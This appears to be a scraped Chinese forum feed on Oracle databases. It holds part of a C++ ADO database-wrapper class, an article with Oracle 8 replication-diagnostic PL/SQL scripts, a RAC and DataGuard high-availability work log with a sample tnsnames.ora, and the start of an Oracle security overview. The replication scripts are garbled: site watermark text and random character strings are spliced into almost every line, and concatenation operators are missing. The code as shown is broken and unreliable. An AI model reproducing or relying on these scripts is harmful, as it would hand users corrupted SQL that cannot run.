 // 參數:ptTableName [OUT]  遍歷到的表名
 // 注意:if (lstrcmp(ptTableName, _TEXT(\\\"\\\")) != 0 ) 表名才有效
 // 返回:false 出錯或遍歷完畢
 bool next_table_name(PTSTR &ptsTableName);
 //****************************************************************************
 // 執行 SQL 語句
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT execute_sql(PCTSTR pctsSQL, long Options = adCmdText);
 // 是否到記錄集末端(0--沒有,1--是 -1--錯誤)
 int Is_BOF(void);
 // 跳向前一個記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT prev(void);
 // 遍歷到第一個記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT first(void);
 // 遍歷到下個記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT next(void);
 // 遍歷到最后一個記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT last(void);
 // 更新(確認)記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT update(void);
 // 重新查詢
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT reQuery(long Options = 0);
 // 記錄集是否為空(0--沒有,1--是 -1--錯誤)
 int Is_Empty(void);
 // 獲取數據
 _variant_t get_collect_value(PCTSTR pctsCollectName);
 // 獲取數據
 _variant_t get_collect_value(long lCollectIndex);
 // 設置數據
 bool put_collect_value(PCTSTR pctsCollectName, _variant_t vtValue);
 // 設置數據
 bool put_collect_value(long lCollectIndex, _variant_t vtValue);
 // 刪除一行數據(當前)
 bool del_collect_value();
 //****************************************************************************
 // 配置數據源
 static bool Configuration_DataBaseSource(PCTSTR pctDNS, PCTSTR pctDBPath, PCTSTR pctDescription);
};
/*---------------------------------------------------------------------------*/
/*-----------------------End OracleDataBaseCtrl.h ---------------------------*/
/*---------------------------------------------------------------------------*/
 
 
/*---------------------------------------------------------------------------*/
/*------------------------ OracleDataBaseCtrl.cpp ---------------------------*/
/*---------------------------------------------------------------------------*/
// OracleDataBaseCtrl.cpp : 定義 DLL 應用程序的入口點。
//
#include \\\"stdafx.h\\\"
#include \\\"OracleDataBaseCtrl.h\\\"

//****************************************************************************
// 數據庫表名
TCHAR * pszTableName;
// 數據庫字段名
TCHAR * pszFieldName;
//****************************************************************************
COracleDataBaseCtrl::COracleDataBaseCtrl()
: m_pConnection(NULL)
, m_pRecordset(NULL)
, hr(NULL)
{
 // 初始化COM
 if(FAILED(::CoInitialize(NULL))) return;
 pszTableName = (TCHAR *)malloc(MAX_PATH);
 if (pszTableName == NULL) return;
 pszFieldName = (TCHAR *)malloc(MAX_PATH);
 if (pszFieldName == NULL) return;
}
COracleDataBaseCtrl::~COracleDataBaseCtrl()
{
 // 反注冊COM
 CoUninitialize();
 if (pszTableName != NULL) free(pszTableName);
 if (pszFieldName != NULL) free(pszFieldName);
}
]]>
有關oracle高可靠性的一些討論和想法http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2496&Page=1wangxinxin2010-12-11 10:49:48Oracle 數據庫復制常用腳本 Oracle的數據復制是一個Oracle數據庫產品中比較成熟的一項技術,它是整個分布式計算解決方案的一個重要組成部分。 對于具有復制環境的數據庫系統,和Oracle DBA一樣,同樣要有一個人來專門負責維護Oracle的數據復制問題,稱之為Oracle Replication Administrator(Oracle復制治理員)。本文就Oracle數據復制中復制治理員經常關心的一些關于復制系統的問題,編寫了不同的存儲過程。當然,通過Oracle提供的復制治理器也可以達到這些目的,但在實際應用中,Oracle復制治理器具有不靈活,速度慢,同時我們不能對其查詢結果進行隨意控制等等的缺點。一、查看Oracle8x延遲事務隊列調用及調用個數IT我最牛-程序員的技術討論與分享園地U Zh:uwC*f [`
推(push)一個大的延遲事務(Deferred Transactions)隊列是非常慢的。一個常見的問題就是一個事務中含有非常多的調用(calls)。假如系統檢測到一個錯誤,如ora-01403(數據未找到錯誤),也就是我們常說的檢測到沖突,而且沒有沖突消除方法,寫到deferror錯誤表和回滾事務的時間就會更長,事務中假如調用calls很多,則消耗在任何一個調用的時間就會以指數形式增長。對于數據復制中每個事務的調用數Oracel強烈建議不超過50個。下面的存儲過程提供了一個快速查看延遲事務隊列中的事務列表以及每個事務中調用數的腳本。輸出是以傳輸順序排列的,這個順序就是事務將要傳播到主節點的順序。這對于確定傳播中的延遲以及掛起等是非常有幫助的。在搭建Oracle數據復制環境中,有一個經驗是值得注重的,那就是一定要設置沖突解決方案,即可使用Oracle系統提供的幾種方案,也可以自己編寫腳本來完成沖突處理。為什么這樣說,一定要設置沖突解決方案,也許我們可以說,我們的復制環境是一個單項復制,不可能出現沖突現象。在這里我講一個自己的親身經歷的例子來說明這個問題,在實際工作中,我搭建了一個具有15個節點的高級復制環境,一個主定義節點,14個主節點,其中14個主節點向主定義節點單向傳遞數據。一般來講這種情況下不會出現沖突。但是在實際應用中,問題就出現了,其中幾個節點在傳輸了一些數據后,就掛(hang)了起來。所有可能查找的原因到查了,始終發現不了問題的根結。最后發現是由于數據傳播到遠程節點后,出現了錯誤,而在該節點又沒有設置沖突解決方案,同時出現錯誤的該事務又具有超過1000條的調用。其中有一條調用出錯了,事務需要回滾,而這個在本地和遠程節點間的回滾時間就會以幾何基數增長。就出現了前面談到的系統掛起(hang)的表現。這也就是說即是在根本不可能出現沖突的系統中,由于偶然的不定的錯誤進程,批量數據的處理以及沒有考慮復制情況下的數據導入都可造成在傳播過程中嚴重的性能問題,最嚴重的情況就是系統掛起,不能完成正常的復制工作。最簡單和有效的辦法就是在多路復制環境下設置一個系統確省的沖突處理方法來避免這種情況的發生。下面這個存儲過程就是在Oracle 8 環境下列出延遲事務隊列中的事務和事務中調用個數的腳本,該腳本對Oracle 7 不支持,這是因為Oracle 8 和Oracle 7 的復制機制發生了變化。存儲過程調用方法:在SQL/PLUS下,首先運行下面的設置,使存儲過程的輸出到屏幕上, SET SERVEROUTPUT ON SIZE 200000IT我最牛-程序員的技術討論與分享園地 [QN1b/S{p
EXEC P_LIST_TRANSACTIONS(ORA_SJJK); 其中,存儲過程的參數as_destination為所要查看的事務傳播到目的節點的延遲隊列,為數據庫聯接(DBLINK)名。假如我們看到一個事務具有很多的調用(超過50個),這個事務很可能就是造成延遲事務隊列推過程延遲甚至是掛起的原因。附:存儲過程腳本:下載該腳本 CREATE OR REPLACE PROCEDURE REPADMIN.P_LIST_TRANSACTION(as_destination in VARCHAR2) ISIT我最牛-程序員的技術討論與分享園地.iF8N-]X)]
local_node VARCHAR2(128);
h}6G.w-Ynvo xm0remote_node VARCHAR2(128);
-rt;~'~S5t;H$_0last_scn NUMBER;
]-IYARd!C0last_tid VARCHAR2(22);
A(G:f1^/zEg0last_tdb VARCHAR2(128);
-k7e1jF8x~%Y2U0cnt NUMBER; CURSOR c(last_delivered NUMBER, last_tid VARCHAR2, last_tdb VARCHAR2) IS
%K} iw5^+U0@.p#l_;Y0select cscn, enq_tid,
"mfj?wQPR?0dscn, DECODE(c.recipient_key, 0, 'D', 'R')IT我最牛-程序員的技術討論與分享園地"|T iM&C
from system.def$_aqcall c whereIT我最牛-程序員的技術討論與分享園地 ]7{z(V)Y r
(c.cscn >= last_delivered)
r3j^ qN(Q dJ0and ((c.cscn > last_delivered) or (c.enq_tid > last_tid))IT我最牛-程序員的技術討論與分享園地#cM`Sy2|z"J!mkd
and (IT我最牛-程序員的技術討論與分享園地 uGND5w^zK
( c.recipient_key = 0IT我最牛-程序員的技術討論與分享園地 S9X"R0rr [
and exists ( select /*+ index(cd def$_calldest_primary) */ nullIT我最牛-程序員的技術討論與分享園地)}6g9X,VW6rSI
from system.def$_calldest cd
Qu RoT0where cd.enq_tid = c.enq_tid
c:|F}H:U8H0and cd.dblink = remote_node ) )IT我最牛-程序員的技術討論與分享園地o:xlN-\~&RW
or ( c.recipient_key > 0
/n.C.U#x+@^r9i0and ( ( exists (
RJn1N X8L0select null from system.repcat$_repprop P
p0K"SHo0where P.dblink = remote_node
(v/@uPB S#Z+BK0and P.how = 1IT我最牛-程序員的技術討論與分享園地z8c/d,_dl:k)V z4v c?\)I
and P.recipient_key = c.recipient_keyIT我最牛-程序員的技術討論與分享園地8^#XZ esRGsV7@X
and ((P.delivery_order is NULL)
J,A8YJF&R.rk7i0or (P.delivery_order < c.cscn))))IT我最牛-程序員的技術討論與分享園地Q~QMzj2qu
or ( existsIT我最牛-程序員的技術討論與分享園地h0u!g4u`n]Fk
( select /*+ ordered use_nl(rp) */ nullIT我最牛-程序員的技術討論與分享園地xi7JU%o8k ?rK6^
from system.def$_aqcall cc, system.repcat$_repprop rp
]LI(_ iW*Lq0where cc.enq_tid = c.enq_tidIT我最牛-程序員的技術討論與分享園地 j L]1po+OO$}
and cc.cscn is null
DT:w:s K mV%Zi)e-eE0and rp.recipient_key = cc.recipient_key
T Sk,Q3Yi0and rp.how = 1IT我最牛-程序員的技術討論與分享園地#oJ'FE/m:oZ
and rp.dblink = remote_node
5Sq cXFi0and ((rp.delivery_order is NULL)IT我最牛-程序員的技術討論與分享園地W%i]?['Q H"w%c t6R
or (rp.delivery_order < c.cscn)))))))
)Jz,Z _.v8sKK0order by c.cscn, c.enq_tid;
-bX3g%})S0 BEGINIT我最牛-程序員的技術討論與分享園地cg;O {S;P,C
SELECT NLS_UPPER(global_name) INTO local_node FROM global_name;IT我最牛-程序員的技術討論與分享園地6V*YiVDf1V
SELECT dblink INTO remote_node from deftrandest
4rwJ,K)J%T#Vb0WHERE dblink LIKE UPPER (as_destination'%') AND ROWNUM < 2;IT我最牛-程序員的技術討論與分享園地Ot {l0Y3r
IF (remote_node IS NULL) THENIT我最牛-程序員的技術討論與分享園地 M0?+t&J!i7K7A
DBMS_OUTPUT.PUT_LINE ('不能確定目標節點,輸入參數有誤!');IT我最牛-程序員的技術討論與分享園地h!OAf1V!p$_%a\
RETURN;
J#| ~8K)\(~0ELSEIT我最牛-程序員的技術討論與分享園地r1TMy#X-ycB A
DBMS_OUTPUT.PUT_LINE ('延遲事務目標節點為: 'remote_node);
}@3Q4B hX0QNU0DBMS_OUTPUT.PUT_LINE ('-------------------------------------------');
j#O*A.|9l*x't0END IF;
]Zu\p!M;oL0SELECT last_delivered, last_enq_tid, dblink
M+},sK&?kTW0yy0INTO last_scn, last_tid, last_tdbIT我最牛-程序員的技術討論與分享園地 K6p)_&{{.w9j\F'l
FROM system.def$_destinationIT我最牛-程序員的技術討論與分享園地1TReDRJ&S@M
WHERE dblink = remote_node; FOR R IN C(last_scn,last_tid,last_tdb) LOOP
/d7paN2i0SELECT count(*) INTO cnt FROM system.def$_aqcall WHERE enq_tid = r.enq_tid;
'ZsC8D&i1VPn0DBMS_OUTPUT.PUT_LINE ('延遲事務 ID='r.enq_tid' 調用個數='to_char(cnt));
mCj!Dqr$Y/n#}0END LOOP;
rune`K0END;
9yy'z{9dB0/
@5wg:b|6{0  二、Oracle 8高級復制環境設置問題診斷腳本要保證搭建的一個高級復制環境工作,必須保證所有的復制對象處于正常狀態,對于一個高級復制環境,要檢查一個復制環境中是否所有對象均處于正常工作狀態,需要檢查不同的系統字典對象,包括復制組對象,復制對象,復制方案對象等等。假如搭建的這個高級復制環境包含很多節點,每個節點又包含幾個復制方案(schema)以及每個方案又包含多個復制對象,則完成一遍檢查需要作很多的重復工作,這里針對這個問題,編寫了一個復制設置問題診斷包,只有運行該包中相應的過程,即可完成對上面提到的相關對象的診斷,給出相應診斷結果。運行方法是,在SQL/PLUS環境下, SQL> spool <文件名>IT我最牛-程序員的技術討論與分享園地}M(~$p;~+u
SQL> set serveroutput on
Y'krMK/REE0SQL> exec rep_diag.rep_diag; 這里強調一點,運行該包的用戶,必須具有對系統字典表dba_repschema、dba_diagnose、dba_repcat以及dba_repcatlog的檢索(select)權限,當然,復制治理員(RepAdmin)用戶是均有這些權限的。附:高級復制環境設置問題診斷包腳本。下載該腳本 CREATE OR REPLACE PACKAGE REP_DIAG IS
RmHX+AO kyL0PROCEDURE REP_DIAG;IT我最牛-程序員的技術討論與分享園地} g W'f)wR*`3\4H
PROCEDURE REP_SCHEMA;IT我最牛-程序員的技術討論與分享園地O L][Y'i:h
PROCEDURE REP_OBJECT;
?sl|$N)G*W0PROCEDURE REP_ERROR;IT我最牛-程序員的技術討論與分享園地t(sw~2W%d,O ES3j
PROCEDURE REP_STAT;IT我最牛-程序員的技術討論與分享園地glC a aHf{f
END REP_DIAG;
9tosP r2i9iQ0/ CREATE OR REPLACE PACKAGE BODY REP_DIAG IS
%}GF'Ll%O3s0PROCEDURE REP_DIAG ISIT我最牛-程序員的技術討論與分享園地E^B3{9N(z.Q{
BEGINIT我最牛-程序員的技術討論與分享園地 q\ EDRj0w m
        REP_SCHEMA;IT我最牛-程序員的技術討論與分享園地M-H3HX.F{
        REP_OBJECT;IT我最牛-程序員的技術討論與分享園地 s+]'[rz'w
        REP_ERROR;IT我最牛-程序員的技術討論與分享園地l0nO9l q#K&L2o
        REP_STAT;       
mP"SO\0END REP_DIAG; PROCEDURE REP_SCHEMA ASIT我最牛-程序員的技術討論與分享園地)\)v7|aZZ
   CURSOR C_SCHEMA IS SELECT SNAME, DBLINK, MASTERDEFIT我最牛-程序員的技術討論與分享園地DQ$h#G;g1E:o'Xb
                FROM SYS.DBA_REPSCHEMA;IT我最牛-程序員的技術討論與分享園地0zD+A pfcN[7L
BEGINIT我最牛-程序員的技術討論與分享園地Zr)Ci[5ij
        DBMS_OUTPUT.PUT_LINE('復制方案明細信息');IT我最牛-程序員的技術討論與分享園地v[!I](f
        DBMS_OUTPUT.PUT_LINE('-------------------------');
"ly?a a4V P ?W ww z%w0        FOR T_SCHEMA IN C_SCHEMA LOOP
(?&A[1uJ W:\/JA2w0                DBMS_OUTPUT.PUT_LINE('方案名稱:    'T_SCHEMA.SNAME);IT我最牛-程序員的技術討論與分享園地V"|+sC ZH6c
                DBMS_OUTPUT.PUT_LINE('是否為主定義節點: 'T_SCHEMA.MASTERDEF);IT我最牛-程序員的技術討論與分享園地H9b2r}4U
                DBMS_OUTPUT.PUT_LINE('數據庫聯接名稱:    'T_SCHEMA.DBLINK);IT我最牛-程序員的技術討論與分享園地p+D6?J/mxl {(`5\*k
                DBMS_OUTPUT.PUT_LINE('.');IT我最牛-程序員的技術討論與分享園地]J,Cp7txXe5`
        END LOOP;
)p@P'v[0END REP_SCHEMA;
q5~:i"^ E?f? IN0 PROCEDURE REP_OBJECT AS
Q E-|1|bn.z0   CURSOR C_REP_OBJECT IS SELECT SNAME, ONAME, TYPE, STATUSIT我最牛-程序員的技術討論與分享園地 ?w.KLAU r V@^1m(B
   ]]>
oracle高可靠性的一些討論和想法http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2495&Page=1wangxinxin2010-12-11 10:46:58http://skyhorse.blogbus.com/logs/2004/03/106569.html
有關RAC的工作日志:
12月16日到12月23日做RAC的試驗。12月24日把服務器交給QYC做DataGuard.
QYC做完DataGuard試驗之后,1月4日我重新開始做RAC的試驗。
當初說是要做XX集團的雙機熱備,因為我應用oracle的時間非常短,對oracle并不熟悉,所以我這段時間就搜集了
一些相關的信息和資料,以供大家參考。
XX集團的應用我分析了一下,應該是不要求24*7連續工作的,只要能夠及時恢復訪問即可,而且數據量不是太大
。
而且我原來讓XX方面做了NAT, 我們在這里就可以進行遠端的控制,控制到XX集團內部的Intranet的個別服務器。
我在網上所能搜到的信息是高可用性解決方案分為4種,
一種是oracle提供的被用方法,Standby (=9i DataGuard)
一種是AR (高級復制Advanced Replication,在以前版本叫快照snapshot)
一種是oracle 并行服務器8i的OPS (9i RAC,Real Application Cluster)
一種是第三方HA解決方案 (如Rose HA,故障切換時間是幾分鐘)
oracle公司的牛人著的里也是
把這4種方法做為高可用方案的組成。
這幾種方案從原理上來講都很容易理解,但是實際上有相當多的細節和問題。
另外還有一種是大家都不太熟悉的是oracle 的 failsafe。
failsafe 采用的是SHARE NOTHING結構,即采用若干臺服務器組成集群,共同連接到一個共享磁盤系統,
在同一時刻,只有一臺服務器能夠訪問共享磁盤,能夠對外提供服務.這與第3方HA方案的概念基本一樣。
但是 failsafe系統局限于WINDOWS(winnt,win2k...)平臺,必須配合MSCS(microsoft cluster server).
我在網上找到現成的雙機熱備的文檔 就是講在 oracle8i上如何做standby. 其保證了始終有一臺備用的
數據庫能夠在很短時間內通過人工,恢復正常的訪問,并保證數據一致。這是不要求24*7連續工作時所考慮的方
案。
我們所能做試驗的就是前三種方案,因為人手有限,所以就做了9i的DataGuard 和RAC 兩種方案的試驗。
高級復制據說lwd在很久以前做過。我打電話問oracle公司,他說AR對數據庫的性能影響太大。
高級復制也分為兩種情況
1.主動/被動策略: node1處于主動模式,數據庫可讀寫,node2處于被動模式,數據庫只讀。
2.主動/主動策略: node1和node2 都處于主動模式,數據庫都可讀寫。這種對數據庫的性能影響特別大。
在講述DataGuard和RAC這兩種方案之前,我先補充一點關于oracle Client 如何能夠不修改本機配置就能
訪問兩臺oracles數據庫的方法。
也就是修改本機的tnsname.ora
一個通常的tnsname.ora 如下:
RACDB =
(DESCRIPTION =
(LOAD_BALANCE = off)
(failover = on)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 211.68.29.61)(PORT = 1521))
(ADDRESS = (PROTOCOL = TCP)(HOST = 211.68.29.62)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = racdb)
)
)
在 ADDRESS_LIST 中 寫了兩個地址,client 通過oracle net 在訪問時,如果訪問不通第一個ip,就會訪問第2個
ip.
這個特性是早就有了的。load_balance 特性也是有的。但是在兩臺數據庫內容不一致的情況下是沒有任何意義的
。
不過,在oracle9i 的官方pdf中,load_balance 特性是不推薦使用的。
RAC 的試驗我昨天已經做成了,雖然遇到了一些不大不小的Bug和不穩定現象。
環境是oracle9.2.0.1.0 , 2* RedHatAdvanceServer 2.1 和一個磁盤陣列, 采用的是裸設備。
RAC 是share everything 模式,兩個數據庫實例同時共享同一套數據文件,控制文件,日志文件。
客戶端可以同時訪問這兩臺數據庫得到的數據都是一致的,它的重點是高性能,可擴展性。但是可靠性是不如Data
Guard的。
因為首先在物理上是連接在一起的,是沒法容災的。
其次,instance1 死掉的話,可能可能影響instance2。
(Oracle 公司的電話支持說的, 以及網上的論壇中有相關的例子,一個實例down機拖累另一臺不能正常工作,
我在做RAC試驗的時候,也出現了node1 重起,造成node2也重起的個別現象)
當然了,與單機的oracle相比,可用性肯定是高的。
另外網上我所能找得到的RAC成功案例(論壇oracle版主之類實施),無一例外都是oracle經過認證的服務器硬件和
軟件.
例如HP,DELL PowerEdge服務器。DELL/EMC fiber-channel storage array 等等。
另外,因為沒有多余交換機,4塊網卡中的進行內部通信用的兩塊網卡我采用的是直接級聯
(新聚思公司的oracle支持說這樣不穩定,但是為什么不穩定也沒有說原因)
有關共享文件系統的一些問題:
采用裸設備無法進行日常管理,也沒有辦法進行文件系統級的備份。
開始我第一次在Mandrake8.1的時候,對陣列進行分區,而fdisk在linux下只能分16個分區,我只好采用
lvm(logical volume manager,支持256個)對裸設備進行管理。后來在dbca創建數據庫的最后階段無法創建,只
好作罷。
第二次用RedHat AS2.1,oracle網站新推出了針對ocfs,我將其2003-1-3 更新的有關ocfs的所有rpm包(只適用
于AS2.1)安裝上,但是卻發現無法正常加載ocfs module, 我查了好久,估計這與我們所用的世紀曙光硬件有關
,
采用的AMD雙Athlon MP 1800+ 以及相關主機硬件,RedHat AS 2.1 無法正常認出,從而造成ocfs modules也無法
正常加載,因為ocfs modules與kernel是相關的;蛟S換成intel 的雙cpu, 或換成單cpu ,然后重裝系統就可以
解決。
因為rhAS2.1的內核不支持 lvm, 需要重新編譯內核才能支持,我只好 將磁盤陣列分成2個drive,分別進行了
分區,跳過了fdisk分區數量限制,給oracle提供了足夠多的裸分區。
當初做方案時買的vertris 的冷備份軟件(大概10萬元)是只能在oracle停機時通過smb來copy 文件進行備份到磁
帶里的。
而裸設備是沒有辦法copy 的。
客戶端在tnsname.ora配好address_list后,
當nodeA 停機時,是可以不用修改配置訪問到nodeB 的。
但是這也分很多種情況
nodeA down,
listenerA down,
InstanceA down,
InstanceA in indeterminate state,
session die等等。
并非每種情況都能實現自動轉到node2上。
第三方HA軟件是靠自己的agent軟件檢測模塊按照自己的故障判斷標準進行強制轉換的。第一臺肯定不會被訪問到
,
在幾分鐘之后所有的訪問都會訪問到第二臺剛剛起來的數據庫上。
oracle 要想實現與第三方HA軟件一樣的功能,只能與microsoft cluster server一起 在windows平臺
上實現failover.
除此之外,oracle本身的幾種High Available 方案是不提供與此類似的自動failover功能的。
RAC提供并行;
standby/dataguard提供熱備份服務器(需要人工維護切換);
AR 可以基本實時提供兩臺數據一致的數據庫,但是數據庫性能受影響。而且客戶端能否在各種各樣的情況下都自

切換到第二臺數據庫上我也不知道。(例如listener running, instance down時無法切換到第二臺)
主數據庫發生災難,無法訪問的情況下應該是能夠切換的,但是有些情況下,只需要修改
tnsname.ora或者停掉node1的listener即可。
以前曾經有人在職成網做過 RoseHA+oracle817+Turbolinux的集成方案, 據說效果也非常差。我所看到我們這里
的人去職成網
進行維護N多次。(N非常大) 所以在集成方案中如果用到了oracle數據庫,就準備好有人長期進行維護,主數據庫
在萬一情況下發生災難,只要有一臺熱的備用數據庫能夠在比較短(電話通知之后1天之內)的時間內繼續投入使用
就達到了可用性的目的,不至于主數據庫損壞,重新進行安裝恢復占用星期級的時間。
要想達到failover自動切換,無需人的參予是一種理想化狀態,在unix平臺上無法實現,windows平臺上的oracle
failover
我不太清楚,應該是能實現這個想法的。
standby備用數據庫 是在oracle7.x才開始提供的一項功能,到了oracle8i才能提供read only模式,
到了9i 才使日志應用等實現了自動化,但是這個自動化不是故障切換自動化,而是只為了實現熱備份數據庫的功
能完善而
增加的一些自動化。 歸根到底,oracle公司開發這么久,還沒有開發完善這些高可用方案,只是一直處于完善階
段。
RAC的并行提供服務我從一些oracle技術支持那里聽來的說法也是最好一臺用來做讀寫,另一臺專門提供只讀操作
的查詢,
不然仍然影響性能。用來做我們這種failover應用的倒不多。
很容易理解的一些稍微復雜的原理,要想在實際中應用是需要大量時間的,里面所涉及到的眾多細節如日志增量
等等很麻煩。
就連oracle9.0.0.1在linux下的OUI(oracle univesal installer)
安裝程序在它認證的linux上運行也是一堆Bug.
也就是它的jre有毛病,所以我當初在mandrake8.1上創建數據庫出現了問題,無法進行下去。
特定的環境,特定的問題,很多都是沒有解釋的。這是網上的一個DBA的原話。
網上也有oracle81700升級到81740就出故障的案例。

使用DataGuard(standby) 是不能實現故障的自動切換的,因為據oracle公司的人說無從判斷究竟算什么樣的故障
才開始進行轉移,
這個已經超出oracle軟件本身的范圍了;蛟S可以通過自己編寫程序來按照自己的標準來進行判斷和轉移。
但是DataGuard做到了始終有一臺數據庫與主數據庫保持一致。在加上客戶端的tnsname.ora的addresslist在一定
程度上
是可以實現部分的故障切換的。
備數據庫平時只能處于read only或 recovery manage 模式。
read only 不能應用主數據庫傳來的重作日志,recovery manage 可以進行數據恢復,但是不能被客戶端訪問。
備用數據庫經常處于修復狀態,因此不能被終端用戶使用,這從管理角度是一種浪費(所以8i開始提供了read
only模式)。
我的想法是
1. 主數據庫發生災難,被迫關閉,XX方面打電話通知過來,我們通過遠程由人工激活備用的數據庫即可。也就是
敲幾行sql命令即可。
完全可以寫成腳本,隨便找一個人執行一下即可。
2. 備數據庫白天處于read only 模式,可供webserver(也就是客戶端)查詢,晚上12點到1點通過cron
運行在recover managed模式,
將白天主數據庫的更改應用到備數據庫上。
3. 通過cron將備數據庫白天處于 primary 模式,可讀可寫,晚上通過腳本改回standby模式,并且應用主數據庫
的更新。
這樣當主數據庫down機,客戶端會立刻連到第二臺數據庫上,同時也能夠進行讀寫。數據分歧只有一天,并且達
到了無人
切換狀態。
這3種方法,第1種是最好的。
第2種是可行的,是oracle官方認可的,有數據分歧,和只讀的局限性。
第3種有數據分歧并且有或大或小的細節問題沒有考慮,只是我的一個臨時想法。
在RAC 和 DataGuard 這兩種方案中,
RAC對硬件和操作系統要求都比較高,維護也非常復雜,我們買的vertas 備份軟件也沒有辦法使用冷備的文件。
對人員的素質要求也很高。
隨便舉個例子,RedHat AS 2.1 如果認不出SCSI driver,就沒法做了。因為oracle9.2i只能用這個操作系統。
( webmail沒有用mandrake8.1而是用mandrake8.2就是這個原因)
不確定因素太多。
在做系統集成方案和買硬件時都要仔細考慮,買什么樣的服務器,陣列,網卡,幾個交換機,linuxAS21能否裝上
等等。
而不是隨便寫個雙機熱備,買兩個服務器,一個交換機就行了。
不過這個方案可以用在我們自己的機房里,提供高性能的oracle數據庫服務。(但是需要比較多的時間來準備和調
試)。
我現在只能做到把oracle92i裝起來,具體平時的管理還要靠有數據庫使用經驗的其他同事來做。
安裝文檔我放在附件里了。
]]>
Oracle安全數據系統架構全接觸http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2494&Page=1wangxinxin2010-12-11 10:46:03網絡的發展,數據庫已經不再僅僅是那些程序員所專有的話題。而Oracle數據庫更是憑借其性能卓越,操作方便靈活的特點,在數據庫的市場中已經占據了一席之地。但是同樣隨著網絡技術的不斷進步,數據信息的不斷增加,數據安全已經不再是以前的“老生長談”,也更不是以前書本上那些“可望不可及”的條條框框。   或許很久以前,大家都覺得Oracle數據庫的安全并不存在隱患,因為Oracle公司在去年11月份開始促銷其數據庫軟件時提出的口號是“只有Oracle9i能夠做到絕對安全”。但是不管它這么說是為了促銷,還是為了擴大知名度,總之伴去年12 月份,英國的安全專家 David Litchfield 發現的9iAS 中存在的程序錯誤導致的緩沖溢出漏洞以及后來,PenTest Limited 和 eEye Digital Security 各自提出了一個小的漏洞,所有使用Oracle公司產品的人都不由地緊張了原本松弛的大腦--這個對于用戶來說,畢竟關系到了自己的“身家性命”。/ f. S) s+ B. K* m# G2 K
  下面筆者將帶著大家走進Oracle數據安全的世界。由于筆者水平有限,所以不足之處在所難免,望大家不吝賜教。4 F4 l1 d7 c& u
  (一)Oracle數據庫的一些基本常識# H( d, J; _& Q* x- }6 }
  這里僅僅是為了以后的安全奠定一些基礎,因為我們后面要用到它們。
) e4 A2 J5 j( a; y3 o  1.Oracle所包含的組件:
( k' I! ?' c% u2 w1 [  在 Oracle,數據庫是指整個 Oracle RDBMS 環境,它包括以下組件:
  f6 I5 L; ^8 Y  ·Oracle 數據庫進程和緩沖(實例)。: a& @0 Z1 G: H& }2 z3 k
  ·SYSTEM 表空間包含一個集中系統類目,它可以由一個或多個數據文件構成。" _7 `% C, c  x8 F) p
  ·其它由數據庫管理員 (DBA)(可選)定義的表空間,每個都由一個或多個數據文件構成。
( D+ H4 s& ?0 O" l  ·兩個以上的聯機恢復日志。
  k) y9 {( |7 N7 w  A' p  ·歸檔恢復日志(可選)。1 h4 Y" ]; n1 c/ x/ N  g
  ·其它文件(控制文件、Init.ora、Config.ora 等)。1 _8 D1 R' j- X$ b! Z
  每個 Oracle 數據庫都在一個中央系統類目和數據字典上運行,它位于SYSTEM 表空間。
2 ?7 e) o. J9 ]. |' K  2.關于“日志”: r: w2 d1 H$ R; F5 q
  Oracle數據庫使用幾種結構來保護數據:數據庫后備、日志、回滾段和控制文件。下面我們將大體上了解一下作為主要結構之一的“日志”:& |. {! }* [! o1 ^/ x( y0 j" _' r
  每一個Oracle數據庫實例都提供日志,記錄數據庫中所作的全部修改。每一個運行的Oracle數據庫實例相應地有一個在線日志,它與Oracle后臺進程LGWR一起工作,立即記錄該實例所作的全部修改。歸檔(離線)日志是可選擇的,一個Oracle數據庫實例一旦在線日志填滿后,可形成在線日志歸檔文件。歸檔的在線日志文件被唯一標識并合并成歸檔日志。
7 F. n; f, n6 Z* C  ·關于在線日志:一個Oracle數據庫的每一實例有一個相關聯的在線日志。一個在線日志由多個在線日志文件組成。在線日志文件(online redo log file)填入日志項(redo entry),日志項記錄的數據用于重構對數據庫所作的全部修改。1 q& `; X. |, j
  ·關于歸檔日志:Oracle要將填滿的在線日志文件組歸檔時,則要建立歸檔日志(archived redo log)。其對數據庫備份和恢復有下列用處:
, [9 a& p- h* u* ^6 M  <1>數據庫后備以及在線和歸檔日志文件,在操作系統和磁盤故障中可保證全部提交的事物可被恢復。
) e5 u8 A( C4 C/ i/ g" \: e" c  <2>在數據庫打開和正常系統使用下,如果歸檔日志是永久保存,在線后備可以進行和使用。
; I$ ^* \0 l% C' @$ ^% x; t  數據庫可運行在兩種不同方式下:NOARCHIVELOG方式或ARCHIVELOG 方式。數據庫在NOARCHIVELOG方式下使用時,不能進行在線日志的歸檔。如果數據庫在ARCHIVELOG方式下運行,可實施在線日志的歸檔。# s5 z) u; _9 B! j2 M' Q9 A* T% c" \
  3.物理和邏輯存儲結構:  a) J5 I  y4 F( F4 O
  Oracle RDBMS是由表空間組成的,而表空間又是由數據文件組成的。表空間數據文件被格式化為內部的塊單位。塊的大小,是由DBA在Oracle第一次創建的時候設置的,可以在512到8192個字節的范圍內變動。當一個對象在Oracle表空間中創建的時候,用戶用叫做長度的單位(初始長度((initial extent)、下一個長度(next extent)、最小長度(min extents)、以及最大長度(max extents))來標明該對象的空間大小。一個Oracle長度的大小可以變化,但是要包含一個由至少五個連續的塊構成的鏈。; Z% |* U; q) T9 c# \
  4.Oracle與Microsoft SQL Server比較下的聯網協議:
3 z- x, H2 n1 G7 O! K# d  (二)Oracle數據安全的維護0 k: W: D4 A, I' e) ~. y
  記得某位哲學家說過:“事物的變化離不開內因和外因!蹦敲磳τ贠racle數據安全這個話題而言,也勢必分為“內”和“外”兩個部分。那么好,我們就先從“內”開始說起:. x' A9 J  Q& U5 L
  §1.從Oracle系統本身說起
